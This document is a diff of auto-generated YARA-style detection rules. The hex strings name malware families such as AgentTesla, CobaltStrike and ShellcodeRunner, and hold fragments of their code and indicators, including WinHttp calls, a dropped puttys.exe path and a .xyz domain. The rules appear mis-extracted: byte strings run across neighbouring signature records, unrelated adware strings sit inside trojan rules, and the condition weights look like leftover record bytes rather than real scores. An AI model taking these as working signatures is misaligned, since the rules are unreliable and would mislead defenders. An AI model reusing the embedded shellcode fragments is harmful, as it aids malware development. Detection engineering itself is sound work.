} //25445 $a_65_2 = {73 41 66 66 69 6e 69 74 79 4d 61 73 6b 01 00 0a 81 01 59 53 5c 45 32 53 44 2f 55 28 01 00 0c 81 01 56 69 72 74 75 61 6c 51 75 65 72 79 01 00 0c 81 01 35 61 24 6c 27 30 2e 49 47 54 50 77 01 00 0c 81 01 6e 56 7a 57 48 68 53 7b 24 71 4c 4c 01 00 0a 81 01 54 4a 29 55 44 31 34 24 66 41 00 00 78 98 00 } //28530 - $a_80_5 = {6f 66 66 65 72 3a 64 65 63 6c 69 6e 65 64 } //offer:declined 1 + $a_52_5 = {57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 49 59 31 21 4d 54 42 00 01 00 09 81 01 64 75 69 6b 65 72 62 6f 6b 01 00 0d 81 01 63 61 6d 62 6f 64 6a 61 6e 65 72 65 6e 01 00 0d 81 01 66 75 67 6c 65 76 69 6c 64 74 65 74 73 01 00 0c 81 01 62 6c 61 6e 6b } //21320 condition: - ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*25445+(#a_65_2 & 1)*28530+(#a_80_5 & 1)*1) >=6 + ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*25445+(#a_65_2 & 1)*28530+(#a_52_5 & 1)*21320) >=6 } -rule _InfrastructureShared_10445{ +rule _InfrastructureShared_11118{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 56 4d 50 72 6f 74 65 63 74 2e 52 54 21 4d 54 42 00 01 00 16 81 01 47 65 74 50 72 6f 63 65 73 73 41 66 66 69 6e 69 74 79 4d 61 73 6b 01 00 0a 81 01 59 53 5c 45 32 53 44 2f 55 28 01 00 0c 81 } //16675 - $a_72_1 = {75 61 6c 51 75 65 72 79 01 00 0c 81 01 35 61 24 6c 27 30 2e 49 47 54 50 77 01 00 0c 81 01 6e 56 7a 57 48 68 53 7b 24 71 4c 4c 01 00 0a 81 01 54 4a 29 55 44 31 34 24 66 41 00 00 78 98 00 00 06 00 06 00 08 00 00 01 00 0e 80 01 6f 66 66 65 72 3a 64 65 63 6c 69 6e 65 64 01 00 0e 80 01 6f 66 66 65 72 3a 61 63 63 65 70 } //22017 - $a_01_2 = {00 0b 80 01 6f 66 66 65 72 3a 73 68 6f 77 6e 01 00 0b 80 01 64 72 76 68 75 62 6f 66 66 65 72 01 00 0b 80 01 52 4f 53 54 50 41 59 20 4c 54 44 01 00 13 80 01 4f 70 65 72 61 44 6f 77 6e 6c 6f 61 64 65 72 2e 65 78 65 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c } //25972 - $a_65_3 = {00 78 98 00 00 07 00 07 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4e 47 55 21 4d 54 42 00 05 00 29 03 7e 02 00 00 04 72 90 01 03 70 03 6f 90 01 03 0a 02 7b 90 01 03 04 02 28 90 01 03 06 7e 90 01 03 04 6f 90 01 03 0a 26 90 00 01 00 10 01 57 69 6e 64 6f 77 73 50 72 69 6e 63 69 70 61 6c 01 00 26 01 63 00 47 } //25902 - $a_00_5 = {4a 00 7a 00 61 00 47 00 56 00 73 00 62 00 43 00 35 00 6c 00 65 00 47 00 55 00 00 00 78 98 00 00 07 00 07 00 08 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 54 6e 65 67 61 2e 52 46 21 4d 54 42 00 01 00 06 81 01 44 24 34 45 78 57 01 00 09 81 01 44 24 } //90 + $a_72_1 = {75 61 6c 51 75 65 72 79 01 00 0c 81 01 35 61 24 6c 27 30 2e 49 47 54 50 77 01 00 0c 81 01 6e 56 7a 57 48 68 53 7b 24 71 4c 4c 01 00 0a 81 01 54 4a 29 55 44 31 34 24 66 41 00 00 78 98 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 49 59 31 21 4d 54 42 00 01 00 09 81 01 } //22017 + $a_6b_2 = {72 62 6f 6b 01 00 0d 81 01 63 61 6d 62 6f 64 6a 61 6e 65 72 65 6e 01 00 0d 81 01 66 75 67 6c 65 76 69 6c 64 74 65 74 73 01 00 0c 81 01 62 6c 61 6e 6b 6e 69 6e 67 65 6e 73 01 00 10 81 01 61 6d 6f 72 74 69 73 65 72 69 6e 67 65 72 6e 65 01 00 14 81 01 44 64 65 6d 61 6e 64 73 73 69 6b 72 69 6e 67 65 72 6e 65 73 00 00 } //30052 + $a_00_4 = {08 00 00 01 00 0e } //6 + $a_66_5 = {65 72 3a 64 65 63 6c 69 6e 65 64 01 00 0e 80 01 6f 66 66 65 72 3a 61 63 63 65 70 74 65 64 01 00 0b 80 01 6f 66 66 65 72 3a 73 68 6f 77 6e 01 00 0b 80 01 64 72 76 68 75 62 6f 66 66 65 72 01 00 0b 80 01 52 4f 53 54 50 41 59 20 4c 54 44 01 00 13 80 01 4f 70 65 72 61 44 6f 77 6e 6c 6f 61 64 65 72 2e 65 78 65 9c ff 0a 80 01 55 6e 69 6e } //384 condition: - ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*22017+(#a_01_2 & 1)*25972+(#a_65_3 & 1)*25902+(#a_00_5 & 1)*90) >=6 + ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*22017+(#a_6b_2 & 1)*30052+(#a_00_4 & 1)*6+(#a_66_5 & 1)*384) >=6 } -rule _InfrastructureShared_10446{ +rule _InfrastructureShared_11119{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 49 59 31 21 4d 54 42 00 01 00 09 81 01 64 75 69 6b 65 72 62 6f 6b 01 00 0d 81 01 63 61 6d 62 6f 64 6a 61 6e 65 72 65 6e 01 00 0d 81 01 66 75 67 6c 65 76 69 6c 64 74 65 74 73 01 00 0c 81 01 62 6c 61 } //18467 + $a_69_1 = {67 65 6e 73 01 00 10 81 01 61 6d 6f 72 74 69 73 65 72 69 6e 67 65 72 6e 65 01 00 14 81 01 44 64 65 6d 61 6e 64 73 73 69 6b 72 69 6e 67 65 72 6e 65 73 00 00 78 98 00 00 06 00 06 00 08 00 00 01 00 0e 80 01 6f 66 66 65 72 3a 64 65 63 6c 69 6e 65 64 01 00 0e 80 01 6f 66 66 65 72 3a 61 63 63 65 70 74 65 64 01 00 0b 80 01 6f 66 66 65 } //27502 + $a_68_2 = {77 6e 01 00 0b 80 01 64 72 76 68 75 62 6f 66 66 65 72 01 00 0b 80 01 52 4f 53 54 50 41 59 20 4c 54 44 01 00 13 80 01 4f 70 65 72 61 44 6f 77 6e 6c 6f 61 64 65 72 2e 65 78 65 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 98 00 00 07 00 07 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e } //14962 + $a_49_3 = {2f 41 67 65 6e 74 54 65 73 6c 61 2e 4e 47 55 21 4d 54 42 00 05 00 29 03 7e 02 00 00 04 72 90 01 03 70 03 6f 90 01 03 0a 02 7b 90 01 03 04 02 28 90 01 03 06 7e 90 01 03 04 6f 90 01 03 0a 26 90 00 01 00 10 01 57 69 6e 64 6f 77 73 50 72 69 6e 63 69 70 } //19770 + $a_00_4 = {26 } //27745 & + condition: + ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*27502+(#a_68_2 & 1)*14962+(#a_49_3 & 1)*19770+(#a_00_4 & 1)*27745) >=6 + +} +rule _InfrastructureShared_11120{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 08 00 00 " @@ -113696,7 +121173,7 @@ rule _InfrastructureShared_10446{ ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*-100+(#a_80_7 & 1)*-100) >=6 } -rule _InfrastructureShared_10447{ +rule _InfrastructureShared_11121{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 03 00 21 " @@ -113708,7 +121185,7 @@ rule _InfrastructureShared_10447{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=7 } -rule _InfrastructureShared_10448{ +rule _InfrastructureShared_11122{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 08 00 21 " @@ -113725,7 +121202,7 @@ rule _InfrastructureShared_10448{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*27756+(#a_5c_2 & 1)*-32758+(#a_2e_3 & 1)*27237+(#a_00_4 & 1)*8+(#a_54_5 & 1)*25441+(#a_72_6 & 1)*26707+(#a_49_7 & 1)*-32755) >=7 } -rule _InfrastructureShared_10449{ +rule _InfrastructureShared_11123{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 06 00 21 " @@ -113740,7 +121217,7 @@ rule _InfrastructureShared_10449{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*384+(#a_63_2 & 1)*18490+(#a_74_3 & 1)*28233+(#a_54_4 & 1)*17488+(#a_00_5 & 1)*0) >=8 } -rule _InfrastructureShared_10450{ +rule _InfrastructureShared_11124{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -113756,7 +121233,7 @@ rule _InfrastructureShared_10450{ ((#a_54_0 & 1)*18467+(#a_50_1 & 1)*30034+(#a_6c_2 & 1)*11875+(#a_52_4 & 1)*21320+(#a_03_5 & 1)*10+(#a_98_6 & 1)*0+(#a_00_7 & 1)*-32507) >=8 } -rule _InfrastructureShared_10451{ +rule _InfrastructureShared_11125{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 06 00 21 " @@ -113769,7 +121246,7 @@ rule _InfrastructureShared_10451{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*21357+(#a_1f_2 & 1)*656+(#a_02_4 & 1)*-28323) >=9 } -rule _InfrastructureShared_10452{ +rule _InfrastructureShared_11126{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -113780,7 +121257,7 @@ rule _InfrastructureShared_10452{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*144) >=10 } -rule _InfrastructureShared_10453{ +rule _InfrastructureShared_11127{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -113791,15 +121268,15 @@ rule _InfrastructureShared_10453{ $a_00_3 = {00 0c 00 0c 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 56 49 53 33 21 4d 54 42 00 0a 00 50 02 0a 06 16 28 90 01 04 a2 06 17 28 90 01 04 a2 06 18 72 90 01 03 70 a2 02 72 90 01 03 70 18 17 8d 90 01 04 25 16 72 90 01 03 70 a2 28 90 01 04 0b 07 72 90 01 03 70 18 18 8d 90 01 04 25 16 16 8c 90 01 04 a2 25 17 06 a2 28 90 01 04 26 2a 90 00 02 00 10 80 01 5a 42 4a 55 43 45 35 37 5a 45 37 41 46 34 4a 5a 00 } //30720 $a_00_4 = {00 0c 00 0c 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4c 75 6d 6d 61 43 2e 50 4c 4c 46 48 21 4d 54 42 00 0a 00 42 03 11 04 09 06 07 6f 90 01 01 00 00 0a 17 73 90 01 01 01 00 0a 13 05 11 05 08 16 08 8e 69 6f 90 01 01 00 00 0a 73 90 01 01 01 00 0a 25 11 04 6f 90 01 01 01 00 0a 6f 90 01 01 01 00 0a 13 06 de 25 90 00 01 00 10 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 0f 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 00 } //30720 $a_00_5 = {00 0e 00 0e 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 43 56 21 4d 54 42 00 0a 00 28 02 8e b7 17 33 1b 06 14 17 8d 90 01 04 0b 07 16 16 8d 90 01 04 a2 07 6f 90 01 04 26 2b 09 06 14 14 6f 90 01 04 26 2a 90 00 01 00 05 80 01 53 6c 65 65 70 01 00 10 80 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 0e 80 01 4e 65 77 4c 61 74 65 42 69 6e 64 69 6e 67 01 00 07 80 01 47 65 74 54 79 70 65 00 } //30720 - $a_00_6 = {00 0f 00 0f 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 70 79 6e 6f 6f 6e 2e 52 4d 21 4d 54 42 00 01 00 0b 81 01 57 69 6e 48 74 74 70 4f 70 65 6e 01 00 0e 81 01 57 69 6e 48 74 74 70 43 6f 6e 6e 65 63 74 01 00 11 81 01 57 69 6e 48 74 74 70 53 65 6e 64 52 65 71 75 65 73 01 00 13 81 01 25 50 55 42 4c 49 43 25 5c 70 75 74 74 79 73 2e 65 78 65 01 00 07 81 01 57 69 6e 48 74 74 70 0a 00 0c 81 01 33 32 36 38 39 36 35 37 2e 78 79 7a 00 } //30720 - $a_00_7 = {00 11 00 11 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 56 49 50 39 37 21 4d 54 42 00 01 00 07 00 54 6f 57 69 6e 33 32 01 00 08 00 47 65 74 50 69 78 65 6c 01 00 06 00 42 69 74 6d 61 70 01 00 0a 00 43 46 33 32 31 34 38 31 32 33 01 00 08 00 43 46 30 30 31 32 33 31 01 00 08 00 43 46 32 33 34 30 35 32 01 00 0c 00 43 46 33 34 32 34 32 33 35 36 36 35 0a 00 0c 02 16 0a 20 00 90 01 01 00 00 8d 90 00 00 } //30720 - $a_00_8 = {00 12 00 12 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4b 72 79 70 74 69 6b 2e 43 4c 21 4d 54 42 00 0a 00 35 03 0a 0d 06 09 6f 90 02 05 06 18 6f 90 02 05 06 6f 90 02 05 13 04 02 28 90 02 04 13 05 28 90 02 04 11 04 11 05 16 11 05 8e 69 6f 90 02 09 0c 08 13 06 de 0b 90 00 02 00 0a 80 01 45 6e 74 72 79 50 6f 69 6e 74 02 00 0a 80 01 46 72 6f 6d 42 61 73 65 36 34 02 00 06 80 01 49 6e 76 6f 6b 65 02 00 08 80 01 41 73 73 65 6d 62 6c 79 00 } //30720 - $a_00_9 = {00 12 00 12 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 42 4f 21 4d 54 42 00 0a 00 32 02 0b 06 8e 69 17 59 0c 2b 19 00 07 06 08 8f 90 01 04 28 90 01 04 28 90 01 04 0b 00 08 17 59 0c 08 15 fe 02 0d 09 2d df 07 13 04 2b 00 11 04 2a 00 90 00 02 00 07 80 01 52 65 70 6c 61 63 65 02 00 07 80 01 47 65 74 54 79 70 65 02 00 09 80 01 47 65 74 4d 65 74 68 6f 64 02 00 09 80 01 53 75 62 73 74 72 69 6e 67 00 } //30720 + $a_00_6 = {00 0f 00 0f 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 68 65 6c 6c 63 6f 64 65 52 75 6e 6e 65 72 2e 59 41 57 21 4d 54 42 00 05 00 31 03 8b 28 33 ff 03 ea 83 c0 04 89 44 24 1c 0f be 45 00 c1 cf 0d 03 f8 45 80 7d ff 00 75 90 01 01 8d 04 0f 3b 44 24 18 74 90 01 01 8b 44 24 1c 43 90 00 0a 00 2c 03 b9 49 f7 02 78 89 44 24 1c e8 90 01 04 b9 58 a4 53 e5 89 44 24 20 e8 90 01 04 b9 10 e1 8a c3 8b e8 e8 90 01 04 b9 af b1 5c 94 90 00 00 } //30720 + $a_00_7 = {00 0f 00 0f 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 70 79 6e 6f 6f 6e 2e 52 4d 21 4d 54 42 00 01 00 0b 81 01 57 69 6e 48 74 74 70 4f 70 65 6e 01 00 0e 81 01 57 69 6e 48 74 74 70 43 6f 6e 6e 65 63 74 01 00 11 81 01 57 69 6e 48 74 74 70 53 65 6e 64 52 65 71 75 65 73 01 00 13 81 01 25 50 55 42 4c 49 43 25 5c 70 75 74 74 79 73 2e 65 78 65 01 00 07 81 01 57 69 6e 48 74 74 70 0a 00 0c 81 01 33 32 36 38 39 36 35 37 2e 78 79 7a 00 } //30720 + $a_00_8 = {00 11 00 11 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 56 49 50 39 37 21 4d 54 42 00 01 00 07 00 54 6f 57 69 6e 33 32 01 00 08 00 47 65 74 50 69 78 65 6c 01 00 06 00 42 69 74 6d 61 70 01 00 0a 00 43 46 33 32 31 34 38 31 32 33 01 00 08 00 43 46 30 30 31 32 33 31 01 00 08 00 43 46 32 33 34 30 35 32 01 00 0c 00 43 46 33 34 32 34 32 33 35 36 36 35 0a 00 0c 02 16 0a 20 00 90 01 01 00 00 8d 90 00 00 } //30720 + $a_00_9 = {00 12 00 12 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4b 72 79 70 74 69 6b 2e 43 4c 21 4d 54 42 00 0a 00 35 03 0a 0d 06 09 6f 90 02 05 06 18 6f 90 02 05 06 6f 90 02 05 13 04 02 28 90 02 04 13 05 28 90 02 04 11 04 11 05 16 11 05 8e 69 6f 90 02 09 0c 08 13 06 de 0b 90 00 02 00 0a 80 01 45 6e 74 72 79 50 6f 69 6e 74 02 00 0a 80 01 46 72 6f 6d 42 61 73 65 36 34 02 00 06 80 01 49 6e 76 6f 6b 65 02 00 08 80 01 41 73 73 65 6d 62 6c 79 00 } //30720 condition: ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*14413+(#a_00_2 & 1)*30720+(#a_00_3 & 1)*30720+(#a_00_4 & 1)*30720+(#a_00_5 & 1)*30720+(#a_00_6 & 1)*30720+(#a_00_7 & 1)*30720+(#a_00_8 & 1)*30720+(#a_00_9 & 1)*30720) >=10 } -rule _InfrastructureShared_10454{ +rule _InfrastructureShared_11128{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 21 " @@ -113810,7 +121287,7 @@ rule _InfrastructureShared_10454{ ((#a_46_0 & 1)*16675+(#a_8e_1 & 1)*5634) >=11 } -rule _InfrastructureShared_10455{ +rule _InfrastructureShared_11129{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 02 00 21 " @@ -113821,7 +121298,7 @@ rule _InfrastructureShared_10455{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*2820) >=12 } -rule _InfrastructureShared_10456{ +rule _InfrastructureShared_11130{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -113833,7 +121310,7 @@ rule _InfrastructureShared_10456{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*-28557+(#a_11_2 & 1)*2560) >=12 } -rule _InfrastructureShared_10457{ +rule _InfrastructureShared_11131{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 05 00 21 " @@ -113842,12 +121319,23 @@ rule _InfrastructureShared_10457{ $a_26_1 = {90 00 01 00 } //400 $a_53_2 = {65 } //-32763 e $a_00_3 = {10 } //28773 - $a_72_4 = {6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 0e 80 01 4e 65 77 4c 61 74 65 42 69 6e 64 69 6e 67 01 00 07 80 01 47 65 74 54 79 70 65 00 00 78 98 00 00 0f 00 0f 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 } //384 + $a_72_4 = {6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 0e 80 01 4e 65 77 4c 61 74 65 42 69 6e 64 69 6e 67 01 00 07 80 01 47 65 74 54 79 70 65 00 00 78 98 00 00 0f 00 0f 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 } //384 condition: ((#a_4c_0 & 1)*21539+(#a_26_1 & 1)*400+(#a_53_2 & 1)*-32763+(#a_00_3 & 1)*28773+(#a_72_4 & 1)*384) >=14 } -rule _InfrastructureShared_10458{ +rule _InfrastructureShared_11132{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 68 65 6c 6c 63 6f 64 65 52 75 6e 6e 65 72 2e 59 41 57 21 4d 54 42 00 05 00 31 03 8b 28 33 ff 03 ea 83 c0 04 89 44 24 1c 0f be 45 00 c1 cf 0d 03 f8 45 80 7d ff 00 75 90 01 01 8d 04 0f 3b } //21283 + $a_74_1 = {01 01 8b 44 24 1c 43 90 00 0a 00 2c 03 b9 49 f7 02 78 89 44 24 1c e8 90 } //9284 + condition: + ((#a_46_0 & 1)*21283+(#a_74_1 & 1)*9284) >=15 + +} +rule _InfrastructureShared_11133{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 06 00 21 " @@ -113862,7 +121350,7 @@ rule _InfrastructureShared_10458{ ((#a_46_0 & 1)*16675+(#a_52_1 & 1)*28261+(#a_39_2 & 1)*18774+(#a_34_3 & 1)*17987+(#a_72_4 & 1)*12108+(#a_79_5 & 1)*29806) >=15 } -rule _InfrastructureShared_10459{ +rule _InfrastructureShared_11134{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 08 00 21 " @@ -113878,7 +121366,7 @@ rule _InfrastructureShared_10459{ ((#a_54_0 & 1)*18467+(#a_32_2 & 1)*12336+(#a_00_3 & 1)*0+(#a_2f_4 & 1)*18771+(#a_72_5 & 1)*28229+(#a_28_6 & 1)*400+(#a_0c_7 & 1)*5896) >=17 } -rule _InfrastructureShared_10460{ +rule _InfrastructureShared_11135{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 05 00 21 " @@ -113892,7 +121380,7 @@ rule _InfrastructureShared_10460{ ((#a_46_0 & 1)*16675+(#a_06_1 & 1)*2060+(#a_80_2 & 1)*2+(#a_80_3 & 1)*2+(#a_80_4 & 1)*2) >=18 } -rule _InfrastructureShared_10461{ +rule _InfrastructureShared_11136{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 05 00 21 " @@ -113906,7 +121394,7 @@ rule _InfrastructureShared_10461{ ((#a_4c_0 & 1)*21539+(#a_09_1 & 1)*766+(#a_80_2 & 1)*2+(#a_80_3 & 1)*2+(#a_80_4 & 1)*2) >=18 } -rule _InfrastructureShared_10462{ +rule _InfrastructureShared_11137{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 03 00 21 " @@ -113917,7 +121405,7 @@ rule _InfrastructureShared_10462{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*10240) >=30 } -rule _InfrastructureShared_10463{ +rule _InfrastructureShared_11138{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -113927,7 +121415,7 @@ rule _InfrastructureShared_10463{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_10464{ +rule _InfrastructureShared_11139{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -113937,7 +121425,7 @@ rule _InfrastructureShared_10464{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_10465{ +rule _InfrastructureShared_11140{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -113947,7 +121435,7 @@ rule _InfrastructureShared_10465{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_10466{ +rule _InfrastructureShared_11141{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -113957,7 +121445,7 @@ rule _InfrastructureShared_10466{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_10467{ +rule _InfrastructureShared_11142{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -113967,7 +121455,7 @@ rule _InfrastructureShared_10467{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_10468{ +rule _InfrastructureShared_11143{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -113977,7 +121465,7 @@ rule _InfrastructureShared_10468{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_10469{ +rule _InfrastructureShared_11144{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -113987,7 +121475,7 @@ rule _InfrastructureShared_10469{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10470{ +rule _InfrastructureShared_11145{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -113997,7 +121485,7 @@ rule _InfrastructureShared_10470{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10471{ +rule _InfrastructureShared_11146{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -114007,7 +121495,7 @@ rule _InfrastructureShared_10471{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10472{ +rule _InfrastructureShared_11147{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -114017,7 +121505,7 @@ rule _InfrastructureShared_10472{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10473{ +rule _InfrastructureShared_11148{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -114027,7 +121515,7 @@ rule _InfrastructureShared_10473{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10474{ +rule _InfrastructureShared_11149{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -114037,7 +121525,7 @@ rule _InfrastructureShared_10474{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10475{ +rule _InfrastructureShared_11150{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -114047,7 +121535,7 @@ rule _InfrastructureShared_10475{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10476{ +rule _InfrastructureShared_11151{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -114057,7 +121545,7 @@ rule _InfrastructureShared_10476{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10477{ +rule _InfrastructureShared_11152{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -114067,7 +121555,7 @@ rule _InfrastructureShared_10477{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10478{ +rule _InfrastructureShared_11153{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -114077,7 +121565,17 @@ rule _InfrastructureShared_10478{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10479{ +rule _InfrastructureShared_11154{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 4b 49 54 21 4d 54 42 00 01 00 65 03 31 c0 48 83 f8 90 01 01 74 90 01 01 8a 8c 05 90 01 04 30 8c 05 90 01 04 48 ff c0 eb 90 01 01 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_11155{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -114088,7 +121586,7 @@ rule _InfrastructureShared_10479{ ((#a_46_0 & 1)*16675+(#a_e8_1 & 1)*10711) >=1 } -rule _InfrastructureShared_10480{ +rule _InfrastructureShared_11156{ meta: description = 